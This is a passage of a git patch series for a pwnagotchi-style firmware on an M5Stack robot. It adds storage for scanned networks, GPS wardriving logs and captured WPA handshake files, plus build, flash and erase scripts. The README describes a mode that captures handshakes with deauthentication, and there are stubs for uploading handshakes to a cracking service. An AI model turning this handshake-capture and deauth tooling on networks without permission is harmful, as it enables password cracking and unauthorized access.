networks[i].ssid, + networks[i].bssid[0], networks[i].bssid[1], networks[i].bssid[2], + networks[i].bssid[3], networks[i].bssid[4], networks[i].bssid[5], + (int)networks[i].rssi, (int)networks[i].channel); + if (i < networks.size() - 1) fprintf(f, ","); + fprintf(f, "\n"); + } + fprintf(f, "]\n"); + + fclose(f); + return true; +} + +int loadNetworks(std::vector& networks) { + if (!_sdAvailable) return 0; + + char path[128]; + snprintf(path, sizeof(path), "%s/networks.json", MOUNT_POINT); + + FILE* f = fopen(path, "r"); + if (!f) return 0; + + networks.clear(); + NetworkInfo net; + int matched = fscanf(f, "{\"ssid\": \"%[^\"]\", \"bssid\": \"%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx\", \"rssi\": %hhd, \"channel\": %hhu}", + net.ssid, &net.bssid[0], &net.bssid[1], &net.bssid[2], &net.bssid[3], &net.bssid[4], &net.bssid[5], + &net.rssi, &net.channel); + + while (matched == 9) { + net.isHidden = false; + net.hasCapture = false; + net.lastSeen = 0; + networks.push_back(net); + matched = fscanf(f, "{\"ssid\": \"%[^\"]\", \"bssid\": \"%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx\", \"rssi\": %hhd, \"channel\": %hhu}", + net.ssid, &net.bssid[0], &net.bssid[1], &net.bssid[2], &net.bssid[3], &net.bssid[4], &net.bssid[5], + &net.rssi, &net.channel); + } + + fclose(f); + return networks.size(); +} + +bool saveNetworkToCSV(const NetworkInfo& net, const GPSData& gps) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/wardriving", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + snprintf(path, sizeof(path), "%s/wardrive.csv", MOUNT_POINT); + + FILE* f = fopen(path, "a"); + if (!f) return false; + + fprintf(f, "%s,%02x%02x%02x%02x%02x%02x,%d,%d,%.6f,%.6f,%lu\n", + net.ssid, + net.bssid[0], net.bssid[1], net.bssid[2], net.bssid[3], net.bssid[4], net.bssid[5], + (int)net.rssi, (int)net.channel, + gps.latitude, gps.longitude, (unsigned long)gps.timestamp); + + fclose(f); + return true; +} + +bool saveHandshake(const uint8_t* data, size_t len, const char* ssid, const uint8_t* bssid) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/handshakes", MOUNT_POINT); + mkdir_recursive(dir_path); + + char filename[128]; + snprintf(filename, sizeof(filename), "%s/handshakes/%s_%02x%02x%02x%02x%02x%02x.hccapx", + MOUNT_POINT, ssid, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); + + FILE* f = fopen(filename, "wb"); + if (!f) return false; + + fwrite(data, 1, len, f); + fclose(f); + return true; +} + +int getStoredHandshakeCount() { + if (!_sdAvailable) return 0; + + char path[128]; + snprintf(path, sizeof(path), "%s/handshakes", MOUNT_POINT); + + int count = 0; + DIR* dir = opendir(path); + if (!dir) return 0; + + struct dirent* entry; + while ((entry = readdir(dir)) != NULL) { + if (strstr(entry->d_name, ".hccapx")) count++; + } + closedir(dir); + + return count; +} + +// Returns list of handshake files (caller must free each string) +// IMPORTANT: Call freeHandshakeFiles() to release memory after use +std::vector getHandshakeFiles() { + std::vector files; + if (!_sdAvailable) return files; + + char path[128]; + snprintf(path, sizeof(path), "%s/handshakes", MOUNT_POINT); + + DIR* dir = opendir(path); + if (!dir) return files; + + struct dirent* entry; + while ((entry = readdir(dir)) != NULL) { + if (strstr(entry->d_name, ".hccapx")) { + char* name = strdup(entry->d_name); + files.push_back(name); + } + } + closedir(dir); + + return files; +} + +// Free memory allocated by getHandshakeFiles() +void freeHandshakeFiles(std::vector& files) { + for (auto& f : files) { + free(f); + } + files.clear(); +} + +bool deleteHandshake(const char* filename) { + if (!_sdAvailable) return false; + + char path[128]; + snprintf(path, sizeof(path), "%s/handshakes/%s", MOUNT_POINT, filename); + + return f_unlink(path) == 0; +} + +bool exportWardriveCSV(const std::vector& networks, const char* filename) { + if (!_sdAvailable) return false; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/wardriving", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + snprintf(path, sizeof(path), "%s/wardriving/%s", MOUNT_POINT, filename); + + FILE* f = fopen(path, "w"); + if (!f) return false; + + fprintf(f, "SSID,BSSID,RSSI,Channel,Latitude,Longitude,Timestamp\n"); + + for (const auto& net : networks) { + fprintf(f, "%s,%02x:%02x:%02x:%02x:%02x:%02x,%d,%d,0,0,0\n", + net.ssid, + net.bssid[0], net.bssid[1], net.bssid[2], net.bssid[3], net.bssid[4], net.bssid[5], + (int)net.rssi, (int)net.channel); + } + + fclose(f); + return true; +} + +bool appendToWardriveCSV(const NetworkInfo& net, const GPSData& gps) { + return saveNetworkToCSV(net, gps); +} + +void logToFile(const char* message) { + if (!_sdAvailable) return; + + char dir_path[128]; + snprintf(dir_path, sizeof(dir_path), "%s/logs", MOUNT_POINT); + mkdir_recursive(dir_path); + + char path[128]; + time_t now = time(NULL); + struct tm* tm_info = localtime(&now); + char filename[32]; + strftime(filename, sizeof(filename), "gotchi_%Y%m%d.log", tm_info); + + snprintf(path, sizeof(path), "%s/logs/%s", MOUNT_POINT, filename); + + FILE* f = fopen(path, "a"); + if (!f) return; + + char timestamp[32]; + strftime(timestamp, sizeof(timestamp), "%Y-%m-%d %H:%M:%S", tm_info); + fprintf(f, "[%s] %s\n", timestamp, message); + + fclose(f); +} + +void rotateLogs() { + if (!_sdAvailable) return; + + char logs_dir[128]; + snprintf(logs_dir, sizeof(logs_dir), "%s/logs", MOUNT_POINT); + + DIR* dir = opendir(logs_dir); + if (!dir) return; + + struct dirent* entry; + while ((entry = readdir(dir)) != NULL) { + if (strstr(entry->d_name, "gotchi_") && strstr(entry->d_name, ".log")) { + char path[512]; + snprintf(path, sizeof(path), "%s/%s", logs_dir, entry->d_name); + + struct stat st; + if (stat(path, &st) == 0) { + time_t age = time(NULL) - st.st_mtime; + if (age > (7 * 24 * 60 * 60)) { + f_unlink(path); + } + } + } + } + closedir(dir); +} + +// Stub: WiFi handshake upload to pwnagotchi-compatible server +// TODO: Implement HTTP upload to pwnagotchi web interface +bool uploadToWpasec(const char* handshakeFile, const char* apiKey, char* result, size_t resultLen) { + if (!_sdAvailable) { + if (result) snprintf(result, resultLen, "Storage not available"); + return false; + } + + if (result) snprintf(result, resultLen, "Upload not implemented"); + return false; +} + +// Stub: Returns count of cracked passwords +// TODO: Implement hash cracking status tracking +int getCrackedCount() { + return 0; +} + +// Stub: Returns list of cracked passwords +// TODO: Implement hash cracking result storage +std::vector getCrackedPasswords() { + std::vector passwords; + return passwords; +} + +// Stub: WiFi wardrive upload to WiGLE.net +// TODO: Implement WiGLE API upload +bool uploadToWigle(const char* csvFile, const char* apiKey, const char* username, char* result, size_t resultLen) { + if (!_sdAvailable) { + if (result) snprintf(result, resultLen, "Storage not available"); + return false; + } + + if (result) snprintf(result, resultLen, "Upload not implemented"); + return false; +} + +bool ensureDirectory(const char* path) { + if (!_sdAvailable) return false; + + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s%s", MOUNT_POINT, path); + + return mkdir_recursive(full_path) == 0; +} + +bool fileExists(const char* path) { + if (!_sdAvailable) return false; + + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s%s", MOUNT_POINT, path); + + struct stat st; + return stat(full_path, &st) == 0; +} + +int64_t getFileSize(const char* path) { + if (!_sdAvailable) return -1; + + char full_path[256]; + snprintf(full_path, sizeof(full_path), "%s%s", MOUNT_POINT, path); + + struct stat st; + if (stat(full_path, &st) != 0) return -1; + + return st.st_size; +} + +int64_t getStorageFreeSpace() { + if (!_sdAvailable) return 0; + + FATFS* fs = nullptr; + DWORD freeClusters; + FRESULT res = f_getfree("0:", &freeClusters, &fs); + + if (res != FR_OK) return 0; + + return (int64_t)freeClusters * fs->csize * 512; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/storage.h b/firmware/main/gotchi/storage.h new file mode 100644 index 0000000..18df339 --- /dev/null +++ b/firmware/main/gotchi/storage.h @@ -0,0 +1,69 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include + +namespace gotchi { + +static const size_t MAX_STORED_NETWORKS = 5000; +static const int MAX_LOG_FILES = 5; + +struct GotchiConfig { + char wigleApiKey[128]; + char wigleUsername[64]; + char wpasecKey[128]; + bool autoWigleUpload; + bool autoWpasecUpload; + int logRotationDays; + int maxNetworks; + + GotchiConfig() { + wigleApiKey[0] = '\0'; + wigleUsername[0] = '\0'; + wpasecKey[0] = '\0'; + autoWigleUpload = false; + autoWpasecUpload = false; + logRotationDays = 7; + maxNetworks = MAX_STORED_NETWORKS; + } +}; + +bool initStorage(); +void deinitStorage(); +bool hasStorage(); + +bool loadConfig(GotchiConfig& config); +bool saveConfig(const GotchiConfig& config); + +bool saveNetworks(const std::vector& networks); +int loadNetworks(std::vector& networks); +bool saveNetworkToCSV(const NetworkInfo& net, const GPSData& gps); + +bool saveHandshake(const uint8_t* data, size_t len, const char* ssid, const uint8_t* bssid); +int getStoredHandshakeCount(); +std::vector getHandshakeFiles(); +void freeHandshakeFiles(std::vector& files); +bool deleteHandshake(const char* filename); + +bool exportWardriveCSV(const std::vector& networks, const char* filename); +bool appendToWardriveCSV(const NetworkInfo& net, const GPSData& gps); + +void logToFile(const char* message); +void rotateLogs(); + +bool uploadToWpasec(const char* handshakeFile, const char* apiKey, char* result, size_t resultLen); +int getCrackedCount(); +std::vector getCrackedPasswords(); + +bool uploadToWigle(const char* csvFile, const char* apiKey, const char* username, char* result, size_t resultLen); + +bool ensureDirectory(const char* path); +bool fileExists(const char* path); +int64_t getFileSize(const char* path); +int64_t getStorageFreeSpace(); + +} \ No newline at end of file diff --git a/firmware/main/hal/board/hal_bridge.h b/firmware/main/hal/board/hal_bridge.h index 0813a1c..59596aa 100644 --- a/firmware/main/hal/board/hal_bridge.h +++ b/firmware/main/hal/board/hal_bridge.h @@ -61,5 +61,6 @@ void board_set_speaker_volume(uint8_t volume, bool permanent = false); uint8_t board_get_speaker_volume(); void app_play_sound(const std::string_view& sound); +void app_play_tone(int frequency, int duration_ms); } // namespace hal_bridge diff --git a/firmware/main/hal/board/stackchan.cc b/firmware/main/hal/board/stackchan.cc index b0379b4..0d21be3 100644 --- a/firmware/main/hal/board/stackchan.cc +++ b/firmware/main/hal/board/stackchan.cc @@ -197,26 +197,12 @@ class Ft6336 : public I2cDevice { bool UpdateTouchPoint() { - auto err = TryReadRegs(0x02, read_buffer_, 6); - if (err != ESP_OK) { - tp_.num = 0; - tp_.x = -1; - tp_.y = -1; - - consecutive_failures_++; - int64_t now_us = esp_timer_get_time(); - if (last_error_log_us_ == 0 || (now_us - last_error_log_us_) >= 1000 * 1000) { - ESP_LOGW(TAG, "FT6336 read failed (%s), skipped %lu sample(s)", esp_err_to_name(err), - static_cast(consecutive_failures_)); - last_error_log_us_ = now_us; - } - return false; - } + ReadRegs(0x02, read_buffer_, 6); - consecutive_failures_ = 0; - tp_.num = read_buffer_[0] & 0x0F; - tp_.x = ((read_buffer_[1] & 0x0F) << 8) | read_buffer_[2]; - tp_.y = ((read_buffer_[3] & 0x0F) << 8) | read_buffer_[4]; + tp_.num = read_buffer_[0] & 0x0F; + tp_.x = ((read_buffer_[1] & 0x0F) << 8) | read_buffer_[2]; + tp_.y = ((read_buffer_[3] & 0x0F) << 8) | read_buffer_[4]; + return true; } @@ -398,7 +384,7 @@ class M5StackCoreS3Board : public WifiBoard { { spi_bus_config_t buscfg = {}; buscfg.mosi_io_num = GPIO_NUM_37; - buscfg.miso_io_num = GPIO_NUM_NC; + buscfg.miso_io_num = GPIO_NUM_35; buscfg.sclk_io_num = GPIO_NUM_36; buscfg.quadwp_io_num = GPIO_NUM_NC; buscfg.quadhd_io_num = GPIO_NUM_NC; @@ -645,6 +631,14 @@ uint8_t hal_bridge::board_get_speaker_volume() return volume; } +void hal_bridge::app_play_tone(int frequency, int duration_ms) +{ + // Tone generation - stub for now + // Will be implemented with LEDC tone system + (void)frequency; + (void)duration_ms; +} + void hal_bridge::toggle_xiaozhi_chat_state() { auto& app = Application::GetInstance(); diff --git a/firmware/main/main.cpp b/firmware/main/main.cpp index 164a751..f596b67 100644 --- a/firmware/main/main.cpp +++ b/firmware/main/main.cpp @@ -35,6 +35,7 @@ extern "C" void app_main(void) GetMooncake().installApp(std::make_unique()); GetMooncake().installApp(std::make_unique()); GetMooncake().installApp(std::make_unique()); + GetMooncake().installApp(std::make_unique()); // Main loop while (1) { diff --git a/firmware/main/stackchan/stackchan.h b/firmware/main/stackchan/stackchan.h index 39aaf63..99c6ec7 100644 --- a/firmware/main/stackchan/stackchan.h +++ b/firmware/main/stackchan/stackchan.h @@ -90,6 +90,20 @@ class StackChan : public Modifiable { return false; } + /** + * @brief Check if motion is attached + * + * @return true + * @return false + */ + bool hasMotion() + { + if (_motion) { + return true; + } + return false; + } + addon::NeonLight& leftNeonLight() override { return _left_neon_light; diff --git a/firmware/partitions.csv b/firmware/partitions.csv index 0656b16..6b5182d 100644 --- a/firmware/partitions.csv +++ b/firmware/partitions.csv @@ -5,5 +5,6 @@ otadata, data, ota, 0xd000, 0x2000, phy_init, data, phy, 0xf000, 0x1000, ota_0, app, ota_0, 0x20000, 0x4f0000, ota_1, app, ota_1, , 0x4f0000, -assets, data, spiffs, 0xA00000, 4M, +storage, data, fat, 0xA00000, 2M, +assets, data, spiffs, 0xC00000, 3M, coredump, data, coredump,, 0x10000, From 363b5499dd2b9eeb2af7ffbba11ec31e1e3906c3 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Sun, 10 May 2026 09:20:34 +0100 Subject: [PATCH 03/17] Add build scripts and update docs - Add firmware/ menu.bat for interactive build options - Add clean_build.bat, build.bat, flash.bat, erase_flash.bat - Update README.md with build instructions - Update .gitignore for firmware build folder --- .gitignore | 29 +++++++++++++- README.md | 21 +++++++++- firmware/build.bat | 56 ++++++++++++++++++++++++++ firmware/clean_build.bat | 67 +++++++++++++++++++++++++++++++ firmware/erase_flash.bat | 86 ++++++++++++++++++++++++++++++++++++++++ firmware/flash.bat | 35 ++++++++++++++++ firmware/menu.bat | 76 +++++++++++++++++++++++++++++++++++ 7 files changed, 368 insertions(+), 2 deletions(-) create mode 100644 firmware/build.bat create mode 100644 firmware/clean_build.bat create mode 100644 firmware/erase_flash.bat create mode 100644 firmware/flash.bat create mode 100644 firmware/menu.bat diff --git a/.gitignore b/.gitignore index 00741cb..e8aa474 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,29 @@ .DS_Store -.idea/ \ No newline at end of file +.idea/ +.vscode/ + +# Build outputs +*.log +build_output.txt + +# OS files +Thumbs.db +*.swp +*~ + +# Firmware build +firmware/build/ +firmware/cmake-build-*/ +firmware/managed_components/ +firmware/sdkconfig +firmware/sdkconfig.old + +# Go build +server/*.exe +server/stackchan-server +server/tmp/ + +# Node/Flutter (if applicable) +node_modules/ +.pubspec.lock +.dart_tool/ \ No newline at end of file diff --git a/README.md b/README.md index 606831c..b79322c 100644 --- a/README.md +++ b/README.md @@ -70,12 +70,31 @@ A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robo ## Build & Flash -```bash +### Quick Start (Windows CMD) +```batch +cd firmware +menu.bat +``` +Then select option 1 for clean build, or 3 to flash. + +### Manual Build +```batch cd firmware idf.py build idf.py -p COM8 flash monitor ``` +### Available Scripts +| Script | Description | +|--------|-------------| +| `menu.bat` | Interactive build menu (recommended) | +| `clean_build.bat` | Clean + build (removes build folder first) | +| `build.bat` | Quick incremental build | +| `flash.bat` | Flash to device (prompts for COM port) | +| `erase_flash.bat` | Erase NVS or full flash | + +**Note**: Run scripts in CMD (not PowerShell or Git Bash). + --- ## Project Structure diff --git a/firmware/build.bat b/firmware/build.bat new file mode 100644 index 0000000..8a06904 --- /dev/null +++ b/firmware/build.bat @@ -0,0 +1,56 @@ +@echo off +REM Build script for StackChan firmware +REM Run this in CMD (not PowerShell or Git Bash) + +setlocal EnableDelayedExpansion + +REM Get script directory +set "SCRIPT_DIR=%~dp0" +set "PROJECT_DIR=%SCRIPT_DIR%" + +REM Find ESP-IDF - check IDF_PATH env var first, then common locations +set "ESP_IDF_PATH=" +if defined IDF_PATH ( + set "ESP_IDF_PATH=%IDF_PATH%" +) else ( + REM Check common installation paths + if exist "C:\esp\esp-idf" set "ESP_IDF_PATH=C:\esp\esp-idf" + if exist "D:\esp\esp-idf" set "ESP_IDF_PATH=D:\esp\esp-idf" + if exist "C:\Users\%USERNAME%\esp\esp-idf" set "ESP_IDF_PATH=C:\Users\%USERNAME%\esp\esp-idf" + if exist "C:\Espressif\frameworks\esp-idf" set "ESP_IDF_PATH=C:\Espressif\frameworks\esp-idf" +) + +if not defined ESP_IDF_PATH ( + echo ERROR: ESP-IDF not found! + echo Please set IDF_PATH environment variable or install ESP-IDF. + echo. + echo Common installation paths: + echo C:\esp\esp-idf + echo D:\esp\esp-idf + echo C:\Espressif\frameworks\esp-idf + echo. + pause + exit /b 1 +) + +echo ======================================== +echo Building StackChan firmware... +echo ESP-IDF: %ESP_IDF_PATH% +echo Project: %PROJECT_DIR% +echo ======================================== +echo. + +cd /d "%ESP_IDF_PATH%" +call export.bat + +cd /d "%PROJECT_DIR%" + +echo. +echo Starting build... +echo. + +idf.py build + +echo. +echo Build complete! +pause \ No newline at end of file diff --git a/firmware/clean_build.bat b/firmware/clean_build.bat new file mode 100644 index 0000000..d599b42 --- /dev/null +++ b/firmware/clean_build.bat @@ -0,0 +1,67 @@ +@echo off +REM Clean and build script for StackChan firmware +REM Run this in CMD (not PowerShell or Git Bash) + +setlocal EnableDelayedExpansion + +REM Get script directory +set "SCRIPT_DIR=%~dp0" +set "PROJECT_DIR=%SCRIPT_DIR%" + +REM Find ESP-IDF - check IDF_PATH env var first, then common locations +set "ESP_IDF_PATH=" +if defined IDF_PATH ( + set "ESP_IDF_PATH=%IDF_PATH%" +) else ( + REM Check common installation paths + if exist "C:\esp\esp-idf" set "ESP_IDF_PATH=C:\esp\esp-idf" + if exist "D:\esp\esp-idf" set "ESP_IDF_PATH=D:\esp\esp-idf" + if exist "C:\Users\%USERNAME%\esp\esp-idf" set "ESP_IDF_PATH=C:\Users\%USERNAME%\esp\esp-idf" + if exist "C:\Espressif\frameworks\esp-idf" set "ESP_IDF_PATH=C:\Espressif\frameworks\esp-idf" +) + +if not defined ESP_IDF_PATH ( + echo ERROR: ESP-IDF not found! + echo Please set IDF_PATH environment variable or install ESP-IDF. + echo. + echo Common installation paths: + echo C:\esp\esp-idf + echo D:\esp\esp-idf + echo C:\Espressif\frameworks\esp-idf + echo. + pause + exit /b 1 +) + +echo ======================================== +echo Cleaning and Building StackChan firmware +echo ESP-IDF: %ESP_IDF_PATH% +echo Project: %PROJECT_DIR% +echo ======================================== +echo. + +cd /d "%ESP_IDF_PATH%" +call export.bat + +cd /d "%PROJECT_DIR%" + +echo. +echo Cleaning build directory... +echo. + +if exist "build" ( + rmdir /s /q "build" + echo Build directory cleaned. +) else ( + echo No build directory found. +) + +echo. +echo Starting fresh build... +echo. + +idf.py build + +echo. +echo Build complete! +pause \ No newline at end of file diff --git a/firmware/erase_flash.bat b/firmware/erase_flash.bat new file mode 100644 index 0000000..0d05859 --- /dev/null +++ b/firmware/erase_flash.bat @@ -0,0 +1,86 @@ +@echo off +REM StackChan Firmware Flash Erase Script +REM Usage: Run from ESP-IDF environment or adjust paths below + +setlocal EnableDelayedExpansion + +set "SCRIPT_DIR=%~dp0" +set "PROJECT_DIR=%SCRIPT_DIR%" + +echo ======================================== +echo StackChan Firmware Flash Eraser +echo ======================================== +echo. + +echo Looking for available COM ports... +wmic path Win32_SerialPort get DeviceID,Name 2>nul +echo. + +set /p PORT=Enter COM port (e.g., COM3): + +if not defined PORT ( + echo ERROR: No port entered + pause + exit /b 1 +) + +echo. +echo Choose erase option: +echo 1) Erase NVS only (reset stats only) +echo 2) Erase entire flash (full reset) +echo 3) Exit +echo. + +set /p choice=Enter choice (1-3): + +if "%choice%"=="1" goto erase_nvs +if "%choice%"=="2" goto erase_full +if "%choice%"=="3" exit + +echo Invalid choice. +pause +exit /b 1 + +:erase_nvs +echo. +echo Erasing NVS partition (stats only)... +echo This will reset: XP, Level, Networks found +echo. +esptool.py --chip esp32s3 --port %PORT% erase_region 0x9000 0x6000 +if errorlevel 1 ( + echo FAILED! + pause + exit /b 1 +) +echo. +echo SUCCESS! NVS erased. +echo Stats will reset on next boot. +pause +exit /b 0 + +:erase_full +echo. +echo WARNING: This will erase EVERYTHING! +echo - All stats +echo - WiFi configs +echo - BLE pairings +echo. +set /p confirm=Type YES to confirm: +if not "%confirm%"=="YES" ( + echo Cancelled. + pause + exit /b 0 +) +echo. +echo Erasing entire flash... +esptool.py --chip esp32s3 --port %PORT% erase_flash +if errorlevel 1 ( + echo FAILED! + pause + exit /b 1 +) +echo. +echo SUCCESS! Full flash erased. +echo You will need to flash the firmware again. +pause +exit /b 0 \ No newline at end of file diff --git a/firmware/flash.bat b/firmware/flash.bat new file mode 100644 index 0000000..8be8dc1 --- /dev/null +++ b/firmware/flash.bat @@ -0,0 +1,35 @@ +@echo off +setlocal EnableDelayedExpansion + +set "SCRIPT_DIR=%~dp0" +set "PROJECT_DIR=%SCRIPT_DIR%" + +set "ESP_IDF_PATH=" +if defined IDF_PATH ( + set "ESP_IDF_PATH=%IDF_PATH%" +) else ( + if exist "C:\esp\esp-idf" set "ESP_IDF_PATH=C:\esp\esp-idf" + if exist "D:\esp\esp-idf" set "ESP_IDF_PATH=D:\esp\esp-idf" + if exist "C:\Users\%USERNAME%\esp\esp-idf" set "ESP_IDF_PATH=C:\Users\%USERNAME%\esp\esp-idf" + if exist "C:\Espressif\frameworks\esp-idf" set "ESP_IDF_PATH=C:\Espressif\frameworks\esp-idf" +) + +if not defined ESP_IDF_PATH ( + echo ERROR: ESP-IDF not found! Set IDF_PATH or install ESP-IDF. + pause + exit /b 1 +) + +echo Looking for available COM ports... +wmic path Win32_SerialPort get DeviceID,Name 2>nul +echo. + +set /p PORT=Enter COM port (e.g., COM3) or press Enter for default COM8: +if not defined PORT set PORT=COM8 + +cd /d "%ESP_IDF_PATH%" +call export.bat +cd /d "%PROJECT_DIR%" + +idf.py -p %PORT% flash monitor +pause \ No newline at end of file diff --git a/firmware/menu.bat b/firmware/menu.bat new file mode 100644 index 0000000..8b872ad --- /dev/null +++ b/firmware/menu.bat @@ -0,0 +1,76 @@ +@echo off +REM StackChan-Gotchi Build Menu +REM Run this in CMD (not PowerShell or Git Bash) + +setlocal EnableDelayedExpansion + +set "SCRIPT_DIR=%~dp0" +cd /d "%SCRIPT_DIR%" + +:menu +cls +echo ======================================== +echo StackChan-Gotchi Build Menu +echo ======================================== +echo. +echo 1) Clean Build (recommended) +echo 2) Quick Build (incremental) +echo 3) Flash to Device +echo 4) Flash + Monitor +echo 5) Erase Flash +echo 6) Open build folder in Explorer +echo 7) Exit +echo. +echo ======================================== + +set /p choice=Enter choice (1-7): + +if "%choice%"=="1" goto clean +if "%choice%"=="2" goto build +if "%choice%"=="3" goto flash +if "%choice%"=="4" goto flash_monitor +if "%choice%"=="5" goto erase +if "%choice%"=="6" goto explorer +if "%choice%"=="7" exit + +echo Invalid choice. +timeout /t 2 >nul +goto menu + +:clean +call clean_build.bat +goto end + +:build +call build.bat +goto end + +:flash +echo. +echo Please select COM port: +call flash.bat +goto end + +:flash_monitor +echo. +echo Please select COM port: +call flash.bat +goto end + +:erase +call erase_flash.bat +goto end + +:explorer +if exist "build" ( + explorer "build" +) else ( + echo Build folder does not exist yet. Run a build first. + timeout /t 3 >nul +) +goto menu + +:end +echo. +echo Done! +pause \ No newline at end of file From 2d7cde1a5b8966fc70a2a5b457c42254ec761568 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Mon, 11 May 2026 08:43:10 +0100 Subject: [PATCH 04/17] add config page and start of Rogue AP mode --- README.md | 14 +- firmware/main/CMakeLists.txt | 1 + firmware/main/apps/app_gotchi/app_gotchi.cpp | 501 +++++++++++-- firmware/main/apps/app_gotchi/app_gotchi.h | 3 + firmware/main/gotchi/gotchi.cpp | 723 ++++++++++++++++++- firmware/main/gotchi/gotchi.h | 69 +- firmware/main/gotchi/idle_dialogue.cpp | 4 +- firmware/main/gotchi/storage.cpp | 118 ++- firmware/main/gotchi/storage.h | 13 + 9 files changed, 1334 insertions(+), 112 deletions(-) diff --git a/README.md b/README.md index b79322c..eea087a 100644 --- a/README.md +++ b/README.md @@ -36,18 +36,22 @@ A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robo ### Modes | Mode | Description | Neon Color | |------|-------------|------------| -| **SNIFF** | Active WiFi monitoring, capture handshakes | Green/Cyan | +| **IDLE** | Idle mode | Green | | **SCOUT** | Passive scanning, no transmission | Blue | +| **HUNT** | Active WiFi monitoring, capture handshakes + deauth | Green/Cyan | | **WARDIVE** | Active wardriving with GPS logging | Orange | | **SPECTRUM** | Channel analysis | Rainbow | -| **BLE-SNIFF** | BLE device scanning | Blue/Purple | -| **IDLE** | Idle mode | Green | +| **BLE-SCAN** | BLE device scanning | Blue/Purple | +| **ROGUE** | Educational beacon spam on fixed channel 6 (OWN networks only!) | Orange | +| **CONFIG** | Web config portal (AP: StackChan-Config, visit 192.168.4.1) | Purple | +| **STATS** | View achievements, XP, prestige | Purple/White | ### StackChan Integration - Dynamic avatar emotions per mode - Head movement speed increases with activity - Neon light indicators color-coded by mode - Touch interaction for mode cycling +- **Touch pauses robot motion** - touch screen to pause head movement ### Additional - GPS support (GPS-BDS Unit on UART2) @@ -63,8 +67,8 @@ A **pwnagotchi-style WiFi/BLE reconnaissance companion** for M5Stack CoreS3 robo - (Optional) GPS-BDS Unit v1.1 for wardriving ### Known Limitations -- SD card unavailable (firmware bug affecting StackChan) -- Internal flash storage (~2MB) used instead +- SD card unavailable (hardware pin conflict on CoreS3 - LCD and microSD share SPI3 pins) +- Internal flash storage (~2MB FATFS partition) used instead --- diff --git a/firmware/main/CMakeLists.txt b/firmware/main/CMakeLists.txt index 8e66a19..a712830 100644 --- a/firmware/main/CMakeLists.txt +++ b/firmware/main/CMakeLists.txt @@ -322,6 +322,7 @@ idf_component_register(SRCS ${SOURCES} mooncake mooncake_log smooth_ui_toolkit + esp_http_server ) # Use target_compile_definitions to define BOARD_TYPE, BOARD_NAME diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp index 6364711..28e7311 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.cpp +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -58,7 +58,7 @@ void AppGotchi::onOpen() { _statsLabel->setTextFont(&lv_font_montserrat_14); _statsLabel->setTextColor(lv_color_hex(0x00FF88)); _statsLabel->setTextAlign(LV_TEXT_ALIGN_LEFT); - _statsLabel->setSize(300, 50); + _statsLabel->setSize(300, 75); // Taller for 3-line display _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 5); _statsLabel->setText("Nets:0 XP:0 Lvl:1 | Scanning..."); @@ -74,10 +74,25 @@ void AppGotchi::onOpen() { _networkListLabel->setText("Nearby networks will appear here..."); _isRunning = true; - _currentMode = gotchi::Mode::SNIFF; // Auto-start in SNIFF mode _lastModeChange = GetHAL().millis(); - - gotchi::setMode(gotchi::Mode::SNIFF); // Auto-start scanning + + // Load config and set default mode + gotchi::GotchiConfig config = gotchi::getConfig(); + gotchi::Mode defaultMode = gotchi::Mode::SCOUT; + + if (strlen(config.defaultMode) > 0) { + if (strcmp(config.defaultMode, "HUNT") == 0) defaultMode = gotchi::Mode::HUNT; + else if (strcmp(config.defaultMode, "SCOUT") == 0) defaultMode = gotchi::Mode::SCOUT; + else if (strcmp(config.defaultMode, "WARDIVE") == 0) defaultMode = gotchi::Mode::WARDIVE; + else if (strcmp(config.defaultMode, "SPECTRUM") == 0) defaultMode = gotchi::Mode::SPECTRUM; + else if (strcmp(config.defaultMode, "BLE_SCAN") == 0) defaultMode = gotchi::Mode::BLE_SCAN; + else if (strcmp(config.defaultMode, "ROGUE") == 0) defaultMode = gotchi::Mode::ROGUE; + else if (strcmp(config.defaultMode, "STATS") == 0) defaultMode = gotchi::Mode::STATS; + else if (strcmp(config.defaultMode, "IDLE") == 0) defaultMode = gotchi::Mode::IDLE; + } + + _currentMode = defaultMode; + gotchi::setMode(defaultMode); if (GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech("Scanning..."); @@ -167,65 +182,231 @@ void AppGotchi::handleInput() { lv_point_t point; lv_indev_get_point(touch, &point); - // Require long press in top area to change mode (prevents accidental triggers) + // Screen dimensions: 320x240 + // Left side (x < 160) = cycle forward + // Right side (x >= 160) = cycle backward + // Long press at top (y < 50) = enter CONFIG mode + + // If in CONFIG mode, any tap exits to SCOUT + if (_currentMode == gotchi::Mode::CONFIG) { + if (state == LV_INDEV_STATE_PRESSED && _pressStartTime == 0) { + _pressStartTime = GetHAL().millis(); + } + if (state == LV_INDEV_STATE_RELEASED && _pressStartTime > 0) { + if (GetHAL().millis() - _pressStartTime < 500) { + // Quick tap exits CONFIG mode + _currentMode = gotchi::Mode::SCOUT; + gotchi::setMode(_currentMode); + _lastModeChange = GetHAL().millis(); + _pressStartTime = 0; + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("SCOUT"); + } + return; + } + _pressStartTime = 0; + } + return; // Don't process other input in CONFIG mode + } + if (state == LV_INDEV_STATE_PRESSED) { - if (point.y < 80) { - if (_pressStartTime == 0) { - 